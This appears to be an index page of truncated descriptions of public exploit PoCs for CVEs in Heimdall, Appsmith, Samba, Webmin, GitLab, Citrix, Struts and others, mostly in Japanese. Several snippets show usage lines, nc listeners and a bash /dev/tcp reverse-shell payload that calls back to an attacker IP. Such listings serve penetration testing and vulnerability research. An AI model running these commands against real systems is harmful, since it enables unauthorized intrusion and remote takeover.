HeimShell

HeimShell CVE-2023-51803 HeimShell は CVE-2023-51803 のエクスプロイトであり、LinuxServer.io Heimdall ≤ 2.5.6 の任意ファイルアップロード脆弱性を悪用します。ターゲットのバージョンを自動検出し、悪用可能性を警告するか、SHELLURL で定義された PHP シェルをリモート取得します。 ≤ 2.2.2 : 任意ファイルアップロードは可能ですが、ファイルは静的ファイルとして配信され、URL はリモート取得されません。 ≥ 2.2.3 & ≤ 2.5.6: アイコン URL アップロードを介して PHP...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC CVE‑2024‑55963 の PoC エクスプロイト。脆弱な Appsmith インスタンス上で任意のコマンドを実行したり、リバースシェルを生成します。 自動的に最新のサーバー（ environmentId 機能を持つ）とそれ以前の古い「レガシー」ビルドの両方を処理するため、v1.20 から最後の脆弱なリリース v1.51 までのすべてのバージョンで1つのスクリプトを使用できます。 クイックスタート root@kitploit: Run an arbitrary command default is id python3...

CVE-2023-28343

CVE-2023-28343 CVE-2023-28343 POCエクスプロイト 使用方法 root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address fo...

CVE-2022-30525

CVE-2022-30525 CVE-2022-30525 POCエクスプロイト 使用方法 root@kitploit: usage: exploit.py -h -t TARGET -lhost LOCALHOST -lport LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET IP address of the target, eg: https://127.0.0.1:9443 -lhost LOCALHOST, --localhos...

CVE-2017-7494

CVE-2017-7494 SAMBA CVE-2017-7494 の脆弱性に対するリモートルートエクスプロイト。 詳細 このエクスプロイトは2つの部分に分かれています: 最初に、"implant.c" というペイロードをコンパイルし、root ユーザーに切り替えて親プロセスから切り離し、リバースシェルを起動するライブラリ libimplantx32.so または libimplantx64.so を生成します。 次に、指定されたターゲットホスト上で書き込み可能な共有を見つけ、ランダムな名前でライブラリをアップロードし、それをロードしようとします。...

Webmin_CVE-2019-15107

CVE-2019–15107 - Webmin =1.920 未授权远程代码执行 此 Python 脚本可在 Webmin 1.890 上获取 root shell。 使用 nmap 检测： nmap -sC -sV -p 10000 TARGETIP 结果： 10000/tcp open http MiniServ 1.890 Webmin httpd 如何使用此漏洞： 步骤 1： nc -lnvp LPORT 步骤 2： chmod +x exploit.py root@kitploit: ./exploit RHOST RPORT LHOST LPORT RHOST = 目标主机...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...

citrixInspector

CVE-2023-3519 インスペクタ cve20233519inspector.py は、Citrix Gateway の CVE-2023-3519 脆弱性を検出するための Python ベースの脆弱性スキャナです。一連のチェックに基づいてターゲット Web サイトの脆弱性を評価するため、パッシブ解析とフィンガープリンティングを実行します。 最近のアップデート /vpn/pluginlist.xml ファイルを解析して、パッチ適用済みか脆弱かをより正確に判定する機能を追加 ターゲットサーバー上の一般的な Web シェルの IOC をオプションでチェックする機能を追加...

CVE-2016-2098-PoC

CVE-2016-10033-PoC これはPentesterLab用に書きました PentesterLabを利用しているなら、カンニングはしないでください。自分で学ぶ方がずっと良いです。 誰かの役に立てば幸いです。将来の自分にとってもね : 対話型シェルと便利なargparse機能も備えています。 Usage root@kitploit: usage: script.py -h --url URL --param PARAM --proxy --raw --no-color script.py: error: the following arguments are required:...

CVE-2016-10033-PoC

CVE-2016-10033-PoC PentesterLab用に書きました PentesterLabの関係者ならズルをしないでください。自分で学ぶ方がずっと良いです。 誰かの役に立てば嬉しいです。役に立たなくても、将来の自分には役立つでしょう : インタラクティブシェル付き、便利なargparse機能もあり 使用方法 root@kitploit: usage: poc.py -h --target TARGET --backdoor BACKDOOR --proxy --raw --no-color options: -h, --help show this help message...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector の未認証 RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ 1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ 2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロード方式 ターゲット上で busybox が動作しない場合は、他の方式を試してください:...

unrealircd3.2.8.1-local-exploit

Metasploitable 3 でテスト済み 使用方法 Ruby 攻撃側のシェルで root@kitploit: nc -nlvp 1111 被害側のシェルで root@kitploit: ruby exploit.rb 127.0.0.1 攻撃側のシェルでの期待される出力 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 被害側のシェルで root@kitploit: python3 exploit.p...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC CVE-2018-17431 の概念実証 エクスプロイトタイトル: Comodo Firewall & Central Manager UTM 2.7.0 および 1.5.0 より前の全リリースにおけるリモートコマンド実行 Web Shell ベース エクスプロイト作成者: Milad Fadavvi ベンダーホームページ: https://www.comodo.com/ ソフトウェアリンク:...

CVE-2023-31702

CVE-2023-31702 — eScan Management Console SQL インジェクション（認証済み） 概要 CVE-2023-31702 は、MicroWorld Technologies eScan Management Console バージョン 14.0.1400.2281 で発見された認証済み SQL インジェクションの脆弱性です。この脆弱性は GetUserCurrentPwd エンドポイントに存在し、UsrId パラメータが適切なサニタイズやパラメータ化なしに SQL クエリに直接渡されます。認証済みの攻撃者は、この欠陥を悪用して時間ベースのプラインド S...

log4j-shell-poc

このリポジトリには README がありません。...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - リモートコード実行 RCE サーバーサイドテンプレートインジェクション SSTI エクスプロイト!! 1. タイトル 脆弱なWebアプリケーションにおけるサーバーサイドテンプレートインジェクション SSTI を介したリモートコード実行 2. 説明 このエクスプロイトは、サーバーサイドテンプレートインジェクション SSTI...

CVE-2025-6019

CVE-2025-6019: libblockdev 本地權限提升漏洞 總結 CVE-2025-6019 是一個在 libblockdev 函式庫中發現的本地權限提升 LPE 漏洞，它與 udisks2 守護程式和 Polkit 協同作用。 漏洞描述 具有 allowactive Polkit 權限的本地攻擊者（通常是實際操作電腦的使用者）可以利用 libblockdev 與 udisks 守護程式互動的方式。攻擊者可以製作一個惡意的 XFS 映像檔，其中包含一個 SUID-root shell，並誘騙 udisks 在沒有 nosuid 和 nodev...

cve-2024-10914-port

CVE-2024-10914 移植到 Rust 和 Python 因为为什么不呢 这是什么 CVE-2024-10914 是最近发现的一个影响某些 D-Link 路由器的 9.8 分严重漏洞。由于这些路由器已达到生命周期终止 EOL 支持，D-Link 拒绝修补此漏洞，理由就是“别穷了，买个新路由器吧”。 工作原理 受影响的设备暴露了一个 HTTP 端点，通常在 /cgi-bin/accountmgr.cgi?cmd=cgiuseradd&name=...

Struts-Apache-ExploitPack

Struts-Apache-ExploitPack これらは、Apache Struts の脆弱性（CVE-2017-5638）を検出および悪用するために使用できるスクリプトです。 MassScanner と Exploiter があります。スキャナーを使用して URL の一覧を一括スキャンし、その後 Exploiter でそれらを悪用できます。 Exploiter は、脆弱なサーバー上で任意のシェルコマンドを実行します。...

CVE-2017-10271

weblogicwlswsatrce Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271利用脚本，参考https://github.com/s3xy/CVE-2017-10271修改。 命令执行并回显 直接上传shell 在linux下weblogic 10.3.6.0测试OK 使用方法及参数 python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional...